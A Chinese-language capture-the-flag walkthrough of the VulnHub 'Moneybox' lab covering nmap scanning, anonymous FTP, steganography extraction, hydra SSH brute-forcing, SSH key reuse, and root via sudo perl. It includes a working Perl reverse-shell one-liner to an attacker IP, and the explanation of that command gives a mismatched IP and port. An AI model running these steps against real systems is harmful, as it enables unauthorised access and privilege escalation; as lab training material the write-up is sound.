打靶-Moneybox

前言

靶场下载:http://www.vulnhub.com/entry/moneybox-1,653/#download
靶机和攻击机均为桥连模式

ip网段在192.168.31.0/24下

渗透过程

1
arp-scan -l 

扫主机

image-20240618194122130

扫描开放端口

1
nmap -sV 192.168.31.8 -A  

image-20240618194206693

发现开放了21 22 80端口,且21端口利用anonymous可以登陆

登陆之后只有一张图片

1
get trytofind.jpg

查看了也没啥

1
gwenview trytofind.jpg

访问80端口,啥也没有

image-20240618194752522

扫目录

image-20240618195041584

源代码里藏东西了

image-20240618195108876

1
<!--the hint is the another secret directory is S3cr3t-T3xt-->

提示在另一个秘密字典里S3cr3t-T3xt

image-20240618195239818

拿到一个key Secret Key 3xtr4ctd4t4

猜测应该和图片有关,

1
steghide extract -sf  trytofind.jpg

image-20240618195512280

1
2
3
4
5
6
Hello.....  renu

I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......


有效信息 renu 密码太简单,那说明可以爆破密码喽

1
hydra -l renu -P rockyou.txt 192.168.31.8 ssh

image-20240618195758612

发现密码 987654321

ssh登录

拿到flag1

image-20240618195856437

history查看一下历史命令

image-20240618200058881

1
2
3
4
5
6
7
8
ssh-keygen -t rsa
# 生成RSA类型的SSH密钥。
ssh-copy-id lily@192.168.43.80
# 将公钥复制到远程服务器上,以便进行无密码SSH登录。
chmod 400 id_rsa
# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。
ssh -i id_rsa lily@192.168.43.80
# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。

通过看历史记录,用户将秘钥复制到了远程服务器,并且只能文件所有者可以嘟,看到后面又进入了Lily文件夹下,而且还利用lily提了权,尝试重复上面的做

然后我有点呆的进入了/home/lily发现User2.txt可以读,然后就拿到了flag2

image-20240618200502890

下面就是要提权了应该,需要lily用户

找到相应的id_rsa文件

image-20240618200629404

尝试

1
sh -i id_rsa lily@192.168.31.8

啊,这就连上了?感觉是不是作者设计错了

想了一下,lily是本地用户,切且本机有相应的ssh秘钥登录也是没问题的

后面看到这篇文章

image-20240618201422099

其实在本机这样也可以)

1
ssh lily@127.0.0.1

切到lily用户后,尝试提权,发现不行,需要密码

先看看sudo 能执行什么命令

1
sudo -l

image-20240618201609523

可以用perl, lily用户能用sudo执行/usr/bin/perl
而perl可以反弹shell到kali攻击机上了,因为是sudo管理员权限启动的反弹shell,所以shell也是root权限的,网上找一条perl反弹shell的命令。

1
sudo perl -e 'use Socket;$i="192.168.31.215";$p=999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1
2
3
4
5
6
7
8
9
当执行此命令时,以下过程会发生:
1、使用 sudo 提升权限执行 Perl 命令。
2、在 Perl 中,定义了以下几个变量:
$i="192.168.3.25":目标 IP 地址。
$p=6666:目标端口号。
3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。
4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。
5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。

image-20240618201834924

成功!

总结

了解到了ssh登录,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,ssh -i id_rsa renu@ip登录成功。

perl